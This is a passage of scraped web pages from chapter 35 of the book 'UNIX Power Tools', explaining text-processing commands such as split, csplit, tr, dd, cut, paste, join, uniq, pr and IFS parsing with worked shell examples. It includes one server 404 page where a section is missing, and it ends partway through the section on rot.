-r--r--r--  1 jik        139070 Oct 15 21:02 bigfile
-rw-rw-r--  1 jik         74016 Oct 15 21:07 bigfile.split.aa
-rw-rw-r--  1 jik         65054 Oct 15 21:07 bigfile.split.ab

Although the simple behavior described above tends to be relatively universal, there are differences in the functionality of split on different UNIX systems. There are four basic variants of split as shipped with various implementations of UNIX:

  1. A split that understands only how to deal with splitting text files into chunks of n lines or less each.

  2. bsplit
            A split, usually called bsplit, that understands only how to deal with splitting non-text files into n-character chunks. A public domain version of bsplit is available on the Power Tools disc.

  3. A split that will split text files into n-line chunks, or non-text files into n-character chunks, and tries to figure out automatically whether it's working on a text file or a non-text file.

  4. A split that will do either text files or non-text files, but needs to be told explicitly when it is working on a non-text file.

The only way to tell which version you've got is to read the manual page for it on your system, which will also tell you the exact syntax for using it.

The problem with the third variant is that although it tries to be smart and automatically do the right thing with both text and non-text files, it sometimes guesses wrong and splits a text file as a non-text file or vice versa, with completely unsatisfactory results. Therefore, if the variant on your system is (3), you probably want to get your hands on one of the many split clones out there that is closer to one of the other variants (see below).

Variants (1) and (2) listed above are OK as far as they go, but they aren't adequate if your environment provides only one of them rather than both. If you find yourself needing to split a non-text file when you have only a text split, or needing to split a text file when you have only bsplit, you need to get one of the clones that will perform the function you need.

Variant (4) is the most reliable and versatile of the four listed, and is therefore what you should go with if you find it necessary to get a clone and install it on your system. There are several such clones in the various source archives, including the freely available BSD UNIX version. Alternatively, if you have installed perl (37.1), it is quite easy to write a simple split clone in perl, and you don't have to worry about compiling a C program to do it; this is an especially significant advantage if you need to run your split on multiple architectures that would need separate binaries.

If you need to split a non-text file and don't feel like going to all of the trouble of finding a split clone that handles them, one standard UNIX tool you can use to do the splitting is dd (35.6). For example, if bigfile above were a non-text file and you wanted to split it into 20,000-byte pieces, you could do something like this:

for
>

done <

$ ls -l bigfile
-r--r--r--  1 jik        139070 Oct 23 08:58 bigfile
$ for i in 1 2 3 4 5 6 7   # [2]
> do
>       dd of=x$i bs=20000 count=1 2>/dev/null  # [3]
> done < bigfile
$ ls -l
total 279
-r--r--r--  1 jik        139070 Oct 23 08:58 bigfile
-rw-rw-r--  1 jik         20000 Oct 23 09:00 x1
-rw-rw-r--  1 jik         20000 Oct 23 09:00 x2
-rw-rw-r--  1 jik         20000 Oct 23 09:00 x3
-rw-rw-r--  1 jik         20000 Oct 23 09:00 x4
-rw-rw-r--  1 jik         20000 Oct 23 09:00 x5
-rw-rw-r--  1 jik         20000 Oct 23 09:00 x6
-rw-rw-r--  1 jik         19070 Oct 23 09:00 x7

- JIK

Previous: 35.8 Centering Lines in a File | UNIX Power Tools | Next: 35.10 Splitting Files by Context: csplit
35.8 Centering Lines in a File | Book Index | 35.10 Splitting Files by Context: csplit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.10 Splitting Files by Context: csplit

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.9 Splitting Files at Fixed Points: split Chapter 35
You Can't Quite Call This Editing 		Next: 35.11 Hacking on Characters with tr

35.10 Splitting Files by Context: csplit

csplit
Like split (35.9), csplit lets you break a file into smaller pieces, but csplit (context split) also allows the file to be broken into different-sized pieces, according to context. With csplit, you give the locations (line numbers or search patterns) at which to break each section. csplit comes with System V, but there are also freely available versions.

Let's look at search patterns first. Suppose you have an outline consisting of three main sections. You could create a separate file for each section by typing:

% csplit outline /I./ /II./ /III./
28 number of characters in each file
415                   .
372                   .
554                   .
% ls
outline
xx00    outline title, etc.
xx01    Section I
xx02    Section II
xx03    Section III

This command creates four new files (outline remains intact). csplit displays the character counts for each file. Note that the first file (xx00) contains any text up to but not including the first pattern, and that xx01 contains the first section, as you'd expect. This is why the naming scheme begins with 00. (Even if outline had begun immediately with a I., xx01 would still contain Section I, but xx00 would be empty in this case.)

If you don't want to save the text that occurs before a specified pattern, use a percent sign as the pattern delimiter:

% csplit outline %I.% /II./ /III./
415
372
554
% ls
outline
xx00  Section I
xx01  Section II
xx02  Section III

The preliminary text file has been suppressed, and the created files now begin where the actual outline starts (the file numbering is off, however).

Let's make some further refinements. We'll use the -s option to suppress the display of the character counts, and we'll use the -f option to specify a file prefix other than the conventional xx:

% csplit -s -f part. outline /I./ /II./ /III./
% ls
outline
part.00
part.01
part.02
part.03

There's still a slight problem though. In search patterns, a period is a metacharacter (26.10) that matches any single character, so the pattern /I./ may inadvertently match words like Introduction. We need to escape the period with a backslash; however, the backslash has meaning both to the pattern and to the shell, so in fact, we need either to use a double backslash or to surround the pattern in quotes (8.14). A subtlety, yes, but one that can drive you crazy if you don't remember it. Our command line becomes:

% csplit -s -f part. outline "/I\./" /II./ /III./

You can also break a file at repeated occurrences of the same pattern. Let's say you have a file that describes 50 ways to cook a chicken, and you want each method stored in a separate file. Each section begins with headings WAY #1, WAY #2, and so on. To divide the file, use csplit's repeat argument:

% csplit -s -f cook. fifty_ways /^WAY/ "{49}"

This command splits the file at the first occurrence of WAY, and the number in braces tells csplit to repeat the split 49 more times. Note that a caret is used to match the beginning of the line and that the C shell requires quotes around the braces (9.5). The command has created 50 files:

% ls cook.*
cook.00
cook.01
  ...
cook.48
cook.49

Quite often, when you want to split a file repeatedly, you don't know or don't care how many files will be created; you just want to make sure that the necessary number of splits takes place. In this case, it makes sense to specify a repeat count that is slightly higher than what you need (maximum is 99). Unfortunately, if you tell csplit to create more files than it's able to, this produces an "out of range" error. Furthermore, when csplit encounters an error, it exits by removing any files it created along the way. (A bug, if you ask me.) This is where the -k option comes in. Specify -k to keep the files around, even when the "out of range" message occurs.

csplit allows you to break a file at some number of lines above or below a given search pattern. For example, to break a file at the line that is five lines below the one containing Sincerely, you could type:

% csplit -s -f letter. all_letters /Sincerely/+5

This situation might arise if you have a series of business letters strung together in one file. Each letter begins differently, but each one begins five lines after the previous letter's Sincerely line. Here's another example, adapted from AT&T's UNIX User's Reference Manual:

% csplit -s -k -f routine. prog.c '%main(%' '/^}/+1' '{99}'

The idea is that the file prog.c contains a group of C routines, and we want to place each one in a separate file (routine.00, routine.01, etc.). The first pattern uses % because we want to discard anything before main. The next argument says, "Look for a closing brace at the beginning of a line (the conventional end of a routine) and split on the following line (the assumed beginning of the next routine)." Repeat this split up to 99 times, using -k to preserve the created files. [4]

[4] In this case, the repeat can actually occur only 98 times, since we've already specified two arguments and the maximum number is 100.

The csplit command takes line-number arguments in addition to patterns. You can say:

% csplit stuff 50 373 955

to create files split at some arbitrary line numbers. In that example, the new file xx00 will have lines 1-49 (49 lines total), xx01 will have lines 50-372 (323 lines total), xx02 will have lines 373-954 (582 lines total), and xx03 will hold the rest of stuff.

csplit works like split if you repeat the argument. The command:

% csplit top_ten_list 10 "{18}"

breaks the list into 19 segments of 10 lines each. [5]

[5] Not really. The first file contains only nine lines (1-9); the rest contain 10. In this case, you're better off saying split -10 top_ten_list.

- DG

Previous: 35.9 Splitting Files at Fixed Points: split | UNIX Power Tools | Next: 35.11 Hacking on Characters with tr
35.9 Splitting Files at Fixed Points: split | Book Index | 35.11 Hacking on Characters with tr
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.11 Hacking on Characters with tr

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.10 Splitting Files by Context: csplit Chapter 35
You Can't Quite Call This Editing 		Next: 35.12 Converting Between ASCII and EBCDIC

35.11 Hacking on Characters with tr

The tr command is a character translation filter, reading standard input (13.1) and either deleting specific characters or substituting one character for another.

The most common use of tr is to change each character in one string to the corresponding character in a second string. (A string of consecutive ASCII (51.3) characters can be represented as a hyphen-separated range.)

For example, the command:

<
$ tr 'A-Z' 'a-z' < file   Berkeley version

will convert all uppercase characters in file to the equivalent lowercase characters. The result is printed on standard output.

In the System V version of tr, square brackets must surround any range of characters. That is, you have to say: [a-z] instead of simply a-z. And of course, because square brackets are meaningful to the shell, you must protect them from interpretation by putting the string in quotes.

If you aren't sure which version you have, here's a test. The Berkeley version converts the input [] to A characters because [] aren't treated as range operators:

% echo '[]' | tr '[a-z]' A
AA Berkeley version
% echo '[]' | tr '[a-z]' A
[] System V version

There's one place you don't have to worry about the difference between the two versions: when you're converting one range to another range, and both ranges have the same number of characters. For example, this command works in both versions:

$ tr '[A-Z]' '[a-z]' < file both versions

The Berkeley tr will convert a [ from the first string into the same character [ in the second string, and the same for the ] characters. The System V version uses the [] characters as range operators. In both versions, you get what you want: the range A-Z is converted to the corresponding range a-z. Again, this trick works only when both ranges have the same number of characters.

The System V version also has a nice feature: the syntax [a*n], where n is some digit, means that the string should consist of n repetitions of character "a." If n isn't specified, or is 0, it is taken to be some indefinitely large number. This is useful if you don't know how many characters might be included in the first string.

As described in article 30.22, this translation (and the reverse) can be useful from within vi for translating a string. You can also delete specific characters. The -d option deletes from the input each occurrence of one or more characters specified in a string (special characters should be placed within quotation marks to protect them from the shell). For instance, the following command passes to standard output the contents of file with all punctuation deleted (and is a great exercise in shell quoting (8.14)):

$ tr -d ",.!?;:'"'"`' < file

The -s (squeeze) option of tr removes multiple consecutive occurrences of the same character in the second argument. For example, the command:

$ tr -s " " " " < file

will print on standard output a copy of file in which multiple spaces in sequence have been replaced with a single space.

We've also found tr useful when converting documents created on other systems for use under UNIX. For example, as described in article 1.5, tr can be used to change the carriage returns at the end of each line in a Macintosh text file into the newline UNIX expects. tr allows you to specify characters as octal values by preceding the value with a backslash, so the command:

$ tr '\015' '\012' < file.mac > file.unix

does the trick.

The command:

$  tr -d '\015' < pc.file

will remove the carriage return from the carriage return/newline pair that a PC file uses as a line terminator. (This command is also handy for removing the excess carriage returns from a file created with script (51.5).)

Article 29.10 uses tr to split sentences into words.

- TOR, JP

Previous: 35.10 Splitting Files by Context: csplit | UNIX Power Tools | Next: 35.12 Converting Between ASCII and EBCDIC
35.10 Splitting Files by Context: csplit | Book Index | 35.12 Converting Between ASCII and EBCDIC
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.12 Converting Between ASCII and EBCDIC

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.11 Hacking on Characters with tr Chapter 35
You Can't Quite Call This Editing 		Next: 35.13 Other Conversions with dd

35.12 Converting Between ASCII and EBCDIC

dd
 The first time I was handed an EBCDIC tape, I discovered the wonders of the standard UNIX utility dd. It is great for reading tapes generated on non-UNIX systems. (The GNU version of dd is on the CD-ROM.)

You do need to understand a bit about the blocking factors on the foreign tape , (20.6) but once you've got that down, you can handle just about anything.

For example, to read an EBCDIC tape on tape device /dev/rmt0 and convert it to ASCII, putting the output in file was_ibm:

% dd if=/dev/rmt0 of=was_ibm ibs=800 cbs=80 conv=ascii

dd reads standard input and writes to standard output, but if you want to specify file or device names, you can use the fairly non-standard if= and of= options to specify the input file and output file, respectively.

If you wanted to convert the other way, you could use this command:

% dd if=was_unix of=/dev/rmt0 obs=800 cbs=80 conv=ebcdic

There's also a conv=ibm option, which uses a different ASCII to EBCDIC conversion table. According to the dd manual page, "The ASCII/EBCDIC conversion tables are taken from the 256 character standard in the CACM Nov, 1968. The ibm conversion, while less blessed as a standard, corresponds better to certain IBM print train conventions. There is no universal solution."

Some gotchas:

  • You need to be able to read the raw device (20.3) to do the conversion, since the tape probably doesn't use standard UNIX tape block sizes.

  • You need to know the blocking factor of the foreign tape, so you can tell dd about it.

  • If the foreign tape has multiple files on it, you'll have to use the tape device name that allows "no rewind on close" (20.3) to read past the first file.

One last thing to mention about dd: all options that refer to sizes expect counts in bytes, unless otherwise mentioned. However, you can use keyletters to indicate various types of multiplication: k means to multiply by 1024; b to multiply by 512 (a block); and w to multiply by 4 (word). You can also show an arbitrary multiplication by separating two numbers with an x.

- TOR

Previous: 35.11 Hacking on Characters with tr | UNIX Power Tools | Next: 35.13 Other Conversions with dd
35.11 Hacking on Characters with tr | Book Index | 35.13 Other Conversions with dd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.13 Other Conversions with dd

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.12 Converting Between ASCII and EBCDIC Chapter 35
You Can't Quite Call This Editing 		Next: 35.14 Cutting Columns or Fields with cut

35.13 Other Conversions with dd

Besides converting between ASCII and EBCDIC (35.12), you can use dd to convert:

  • fixed length to variable-length records (conv=unblock), and the reverse (conv=block)

  • uppercase to lowercase (conv=lcase), and the reverse (conv=ucase)

  • the byte order of every pair of bytes (conv=swab)

The cbs= option must be used to specify a conversion buffer size when using block and unblock. (This is also true when using conversions between ASCII and EBCDIC.) The specified number of characters are put into the conversion buffer. For ascii and unblock conversion, trailing blanks are trimmed and a newline is added to each buffer before it is output. For ebcdic, ibm, and block, the input is padded with blanks up to the specified conversion buffer size.

- TOR

Previous: 35.12 Converting Between ASCII and EBCDIC | UNIX Power Tools | Next: 35.14 Cutting Columns or Fields with cut
35.12 Converting Between ASCII and EBCDIC | Book Index | 35.14 Cutting Columns or Fields with cut
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.14 Cutting Columns or Fields with cut

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.13 Other Conversions with dd Chapter 35
You Can't Quite Call This Editing 		Next: 35.15 Cutting Columns with colrm

35.14 Cutting Columns or Fields with cut

cut+paste
System V includes a nifty command called cut that lets you select a list of columns or fields from one or more files. We've also included a public-domain version on the disc, for those of you whose systems do without.

You must specify either the -c option to cut by column or -f to cut by fields. (Fields are separated by tabs unless you specify a different field separator with -d. Use quotes (8.14) if you want a space or other special character as the delimiter.)

The column(s) or field(s) to cut must follow the option immediately, without any space. Use a comma between separate values and a hyphen to specify a range (e.g., 1-10, 15, 20, or 50-).

cut is incredibly handy. Here are some examples:

  • Find out who is logged in, but list only login names:

    who
    % who | cut -d" " -f1

  • Extract usernames and real names from /etc/passwd (36.3):

    % cut -d: -f1,5 /etc/passwd

  • Cut characters in the fourth column of file, and paste them back as the first column in the same file:

    paste
    % cut -c4 file | paste - file

- TOR, DG

Previous: 35.13 Other Conversions with dd | UNIX Power Tools | Next: 35.15 Cutting Columns with colrm
35.13 Other Conversions with dd | Book Index | 35.15 Cutting Columns with colrm
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.15 Cutting Columns with colrm

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.14 Cutting Columns or Fields with cut Chapter 35
You Can't Quite Call This Editing 		Next: 35.16 Make Columns Automatically with cols

35.15 Cutting Columns with colrm

BSD's (somewhat limited) alternative to cut (35.14) is colrm.

It can cut only by column position, not by field. All you have to give it is a starting column position and an optional ending position. The text is read from standard input. (colrm can't read files directly; redirect input with < or | (13.1).)

If you give just one column number, all columns from that position to the end of the line are removed. With two column number arguments, all columns between the starting column position and the ending position, inclusive, are removed.

The following command outputs just the permissions (columns 1 to 10) and filenames (columns 45 to the end of the line, including the space before names) from fixed-width ls -l output (22.2). (Some versions of ls -l adjust column widths. If yours does, colrm and cut won't help; try awk (33.11).)

% ls -l | colrm 11 44
drwxr-xr-x manpages
-rw-r--r-- misc.Z
-rwxr-xr-x myhead

The following command will remove the remote hostname, if any, that starts at column 33 of who (51.4) output:

% who | colrm 33

- JP, TOR

Previous: 35.14 Cutting Columns or Fields with cut | UNIX Power Tools | Next: 35.16 Make Columns Automatically with cols
35.14 Cutting Columns or Fields with cut | Book Index | 35.16 Make Columns Automatically with cols
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/unix/upt/ch35_16.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Chapter 35] 35.17 Making Text in Columns with pr

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.16 Make Columns Automatically with cols Chapter 35
You Can't Quite Call This Editing 		Next: 35.18 Pasting Things in Columns

35.17 Making Text in Columns with pr

The pr command (43.7) is famous for printing a file neatly on a page - with margins at top and bottom, filename, date, and page numbers. It can also print text in columns: one file per column or many columns for each file.

The -t option takes away the heading and margins at the top and bottom of each page. That's useful when you want data "pasted" into columns with no interruptions.

35.17.1 One File per Column: -m

The -m option reads all files on the command line simultaneously and prints each in its own column, like this:

% pr -m -t file1 file2 file3
The lines              The lines              The lines
of file1               of file2               of file3
are here               are here               are here
  ...                    ...                    ...

pr may use TAB characters between columns. If that would be bad, you can pipe pr's output through expand (41.4). Many versions of pr have a -sX option that sets the column separator to the single character X.

35.17.2 One File, Several Columns: -number

An option that's a number will print a file in that number of columns. For instance, the -3 option prints a file in three columns. The file is read, line by line, until the first column is full (by default, that takes 56 lines). Next, the second column is filled. Then, the third column is filled. If there's more of the file, the first column of page 2 is filled - and the cycle repeats:

% pr -3 file1

Nov  1 19:44 1992  file1  Page 1

Line 1 here            Line 57 here           Line 115 here
Line 2 here            Line 58 here           Line 116 here
Line 3 here            Line 59 here           Line 117 here
  ...                    ...                    ...

The columns aren't balanced - if the file will fit into one column, the other columns aren't used. You can change that by adjusting -l, the page length option; see the section below.

35.17.3 Order Lines Across Columns with -l

Do you want to arrange your data across the columns, so that the first three lines print across the top of each column, the next three lines are the second in each column, and so on, like this?

% pr -l1 -t -3 file1
Line 1 here            Line 2 here            Line 3 here
Line 4 here            Line 5 here            Line 6 here
Line 7 here            Line 8 here            Line 9 here
  ...                    ...                    ...

Use the -l1 (page length 1 line) and -t (no title) options. Each "page" will be filled by three lines (or however many columns you set). You have to use -t; otherwise, pr will silently ignore any page lengths that don't leave room for the header and footer. That's just what you want if you want data in columns with no headings.

If you want headings too, pipe the output of pr through another pr:

% pr -l1 -t -3 file1 | pr -h file1

Nov  1 19:48 1992  file1  Page 1

Line 1 here            Line 2 here            Line 3 here
Line 4 here            Line 5 here            Line 6 here
Line 7 here            Line 8 here            Line 9 here
  ...                    ...                    ...

The -h file1 puts the filename into the heading.

Also see paste (35.18) and cols (35.16). Of course, programming languages like awk (33.11) and perl (37.1) can also make text into columns.

- JP

Previous: 35.16 Make Columns Automatically with cols | UNIX Power Tools | Next: 35.18 Pasting Things in Columns
35.16 Make Columns Automatically with cols | Book Index | 35.18 Pasting Things in Columns
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.18 Pasting Things in Columns

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.17 Making Text in Columns with pr Chapter 35
You Can't Quite Call This Editing 		Next: 35.19 Joining Lines with join

35.18 Pasting Things in Columns

cut+paste
Do you ever wish you could paste two (or even three) files side by side? You can, if you have the System V paste program (or the public-domain implementation on the disc).

For example, to create a three-column file from files x, y, and z:

$ paste x y z > file

To make paste read standard input, use the - option, and repeat - for every column you want. For example, to make an old broken System V ls (which lists files in a single column) list files in four columns:

$ ls | paste - - - -

The "standard input" option is also handy when used with cut (35.14). You can cut data from one position on a line and paste it back on another.

The separate data streams being merged are separated by default with a tab, but you can change this with the -d option. Unlike the -d option to cut, you need not specify a single character; instead, you can specify a list of characters, which will be used in a circular fashion. (I haven't figured a use for this - maybe you can.)

The characters in the list can be any regular character or the following escape sequences:

\n

newline

\t

tab

\\

backslash

\0

empty string

Use quoting (8.14), if necessary, to protect characters from the shell.

There's also a -s option that lets you merge subsequent lines from one file. For example, to merge each pair of lines onto a single line:

$ paste -s -d"\t\n" list

- TOR, DG

Previous: 35.17 Making Text in Columns with pr | UNIX Power Tools | Next: 35.19 Joining Lines with join
35.17 Making Text in Columns with pr | Book Index | 35.19 Joining Lines with join
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.19 Joining Lines with join

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.18 Pasting Things in Columns Chapter 35
You Can't Quite Call This Editing 		Next: 35.20 Quick Reference: uniq

35.19 Joining Lines with join

If you've worked with databases, you'll probably know what to do with the UNIX join command; see your online manual page. If you don't have a database (as far as you know!), you'll still probably have a use for join: combining or "joining" two column-format files. join searches certain columns in the files; when it finds columns that match one another, it "glues the lines together" at that column. This is easiest to show with an example.

I needed to summarize the information in thousands of email messages under the MH mail system. MH made that easy: it has one command (scan) that gave me almost all the information I wanted about each message in the format I wanted. But I also had to use wc -l (29.6) to count the number of lines in each message. I ended up with two files, one with scan output and the other with wc output. One field in both lines was the message number; I used sort (36.1) to sort the files on that field. I used awk '{print $1 "," $2}' to massage wc output into comma-separated fields. Then I used join to "glue" the two lines together on the message-number field. (Next I fed the file to a PC running dBASE, but that's another story.)

Here's the file that I told scan to output. The columns (message number, email address, comment, name, and date sent) are separated with commas (,):

0001,andrewe@isc.uci.edu,,Andy Ernbaum,19901219
0002,bc3170x@cornell.bitnet,,Zoe Doan,19910104
0003,zcode!postman@uunet.uu.net,,Head Honcho,19910105
   ...

Here's the file from wc and awk with the message number and number of lines:

0001,11
0002,5
0003,187
   ...

Then, this join command joined the two files at their first columns (-t, tells join that the fields are comma-separated):

% join -t, scanfile wcfile

The output file looked like:

0001,andrewe@isc.uci.edu,,Andy Ernbaum,19901219,11
0002,bc3170x@cornell.bitnet,,Zoe Doan,19910104,5
0003,zcode!postman@uunet.uu.net,,Head Honcho,19910105,187
   ...

Of course, join can do a lot more than this simple example shows. See your online manual page.

- JP

Previous: 35.18 Pasting Things in Columns | UNIX Power Tools | Next: 35.20 Quick Reference: uniq
35.18 Pasting Things in Columns | Book Index | 35.20 Quick Reference: uniq
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.20 Quick Reference: uniq

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.19 Joining Lines with join Chapter 35
You Can't Quite Call This Editing 		Next: 35.21 Using IFS to Split Strings

35.20 Quick Reference: uniq

uniq is used to remove duplicate adjacent lines from a sorted file, sending one copy of each line to standard output or to a second file, if one is specified on the command line.

NOTE: Be warned:

% uniq file1 file2

will not print the unique lines from both file1 and file2 to standard output! It will replace the contents of file2 with the unique lines from file1.

uniq is often used as a filter (1.30). See also comm (28.12), sort (36.1), and especially sort -u (36.6).

options

-c       Print each line once, counting instances of each.
-d       Print duplicate lines once, but no unique lines.
-u       Print only unique lines (no copy of duplicate entries is kept).
-n       Ignore first n fields of a line. Fields are separated by spaces
or by tabs.
+n       Ignore first n characters of a field.

You can specify only one of the options -c, -d, or -u.

Examples

To send only one copy of each line from list to output file list.new:

uniq list list.new

To show which names appear more than once:

sort names | uniq -d

To show which lines appear exactly three times:

grep
sort names | uniq -c | grep " 3 "

- DG from O'Reilly & Associates' UNIX in a Nutshell (SVR4/Solaris)

Previous: 35.19 Joining Lines with join | UNIX Power Tools | Next: 35.21 Using IFS to Split Strings
35.19 Joining Lines with join | Book Index | 35.21 Using IFS to Split Strings
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.21 Using IFS to Split Strings

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.20 Quick Reference: uniq Chapter 35
You Can't Quite Call This Editing 		Next: 35.22 Straightening Jagged Columns

35.21 Using IFS to Split Strings

It might not be obvious why the Bourne shell has an IFS (internal field separator) shell variable. By default, it holds three characters: SPACE, TAB, and NEWLINE. These are the places that the shell parses command lines. So what?

If you have a line of text - say, from a database - and you want to split it into fields, the IFS variable can help. Put the field separator into IFS temporarily, use the shell's set (44.19) command to store the fields in command-line parameters; then restore the old IFS.

For example, the chunk of a shell script below gets current terminal settings from stty -g (42.4), which looks like this:

2506:5:bf:8a3b:3:1c:8:15:4:0:0:0:11:13:1a:19:12:f:17:16:0:0

The shell parses the line returned from stty by the backquotes (9.16). It stores x in $1. This trick stops errors if stty fails for some reason - without the x, if stty made no standard output, the shell's set command would print a list of all shell variables. Then 2506 goes into $2, 5 into $3, and so on. The original Bourne shell can only handle nine parameters (through $9); if your input lines may have more than nine fields, this isn't a good technique. But this script uses the Korn shell, which (along with bash) doesn't have that limit.

#!/bin/ksh
oldifs="$IFS"
# Change IFS to a colon:
IFS=:
# Put x in $1, stty -g output in $2 thru ${23}:
set x `stty -g`
IFS="$oldifs"
# Window size is in 16th field (not counting the first "x"):
echo "Your window has ${17} rows."

Because you don't need a subprocess to parse the output of stty, this can be faster than using an external command like cut (35.14) or awk (33.11).

There are places where IFS can't be used because the shell separates command lines at spaces before it splits at IFS. It doesn't split the results of variable substitution or command substitution (9.16) at spaces, though. Here's an example - three different ways to parse a line from /etc/passwd:

% cat splitter
#!/bin/sh
IFS=:
line='larry:Vk9skS323kd4q:985:100:Larry Smith:/u/larry:/bin/tcsh'
set x $line
echo "case 1: \$6 is '$6'"
set x `grep larry /etc/passwd`
echo "case 2: \$6 is '$6'"
set x larry:Vk9skS323kd4q:985:100:Larry Smith:/u/larry:/bin/tcsh
echo "case 3: \$6 is '$6'"

% ./splitter
case 1: $6 is 'Larry Smith'
case 2: $6 is 'Larry Smith'
case 3: $6 is 'Larry'

Case 1 used variable substitution and case 2 used command substitution; the sixth field contained the space. In case 3, though, with the colons on the command line, the sixth field was split: $6 became Larry and $7 was Smith. Another problem would have come up if any of the fields had been empty (as in larry::985:100:etc...)-the shell would "eat" the empty field and $6 would contain /u/larry. Using sed with its escaped parentheses (34.10) to do the searching and the parsing could solve the last two problems.

- JP

Previous: 35.20 Quick Reference: uniq | UNIX Power Tools | Next: 35.22 Straightening Jagged Columns
35.20 Quick Reference: uniq | Book Index | 35.22 Straightening Jagged Columns
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.22 Straightening Jagged Columns

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.21 Using IFS to Split Strings Chapter 35
You Can't Quite Call This Editing 		Next: 35.23 Rotating Text

35.22 Straightening Jagged Columns

As we were writing this book, I decided to make a list of all the articles, the numbers of lines and characters in each - then combine that with the description, a status code, and the article's title. After a few minutes with wc -l -c (29.6), cut (35.14), sort (36.1), and join (35.19), I had a file that looked like this:

% cat messfile
2850 2095 51441 ~BB A sed tutorial
3120 868 21259 +BB mail - lots of basics
6480 732 31034 + How to find sources - JIK's periodic posting
    ...900 lines...
5630 14 453 +JP Running Commands on Directory Stacks
1600 12 420 !JP With find, Don't Forget -print
0495 9 399 + Make 'xargs -i' use more than one filename

Yuck. It was tough to read. The columns needed to be straightened. A little awk (33.11) script turned the mess into this:

% cat cleanfile
2850 2095  51441 ~BB  A sed tutorial
3120  868  21259 +BB  mail - lots of basics
6480  732  31034 +    How to find sources - JIK's periodic posting
    ...900 lines...
5630   14    453 +JP  Running Commands on Directory Stacks
1600   12    420 !JP  With find, Don't Forget -print
0495    9    399 +    Make 'xargs -i' use more than one filename

Here's the simple script I used and the command I typed to run it:

% cat neatcols
{
printf "%4s %4s %6s %-4s %s\n", \
     $1, $2, $3, $4, substr($0, index($0,$5))
}
% awk -f neatcols messfile > cleanfile

You can adapt that script for whatever kinds of columns you need to clean up. In case you don't know awk, here's a quick summary:

  • The first line of the printf, between double quotes ("), tells the field widths and alignments. For example, the first column should be right-aligned in 4 characters (%4s). The fourth column should be 4 characters wide left-adjusted (%-4s). The fifth column is big enough to just fit (%s). I used string (%s) instead of decimal (%d) so awk wouldn't strip off the leading zeros in the columns.

  • The second line arranges the input data fields onto the output line. Here, input and output are in the same order, but I could have reordered them. The first four columns get the first four fields ($1, $2, $3, $4).

    The fifth column is a catch-all; it gets everything else. substr($0, index($0,$5)) means "find the fifth input column; print it and everything after it."

- JP

Previous: 35.21 Using IFS to Split Strings | UNIX Power Tools | Next: 35.23 Rotating Text
35.21 Using IFS to Split Strings | Book Index | 35.23 Rotating Text
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.23 Rotating Text

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.22 Straightening Jagged Columns Chapter 35
You Can't Quite Call This Editing 		Next: 36. Sorting

35.23 Rotating Text

Every now and then you come across something and say, "Gee, that might come in handy someday, but I have no idea for what." This might happen to you when you're browsing at a flea market or garage sale; or if you're like us, it might happen when you're browsing through public domain software.

rot
 Which brings us to the rot program. rot basically just rotates text columns and rows. For example, the first column below shows an input file. The other three columns show the same file fed through rot once, twice, and three times:

$ cat file      $ rot file      $ rot file |      $ rot file |
                                     rot              rot | rot
 abcde           54321                 5             e
1                     a                4             d
2                     b                3             c
3                     c                2             b
4                     d                1             a
5                     e           edcba               12345

Now let's compare combinations of rot and tail -r (25.19):

$ cat file      $ rot file      $ rot file |      $ tail -r file |
                                     tail -r           rot
 abcde           54321                 e              12345
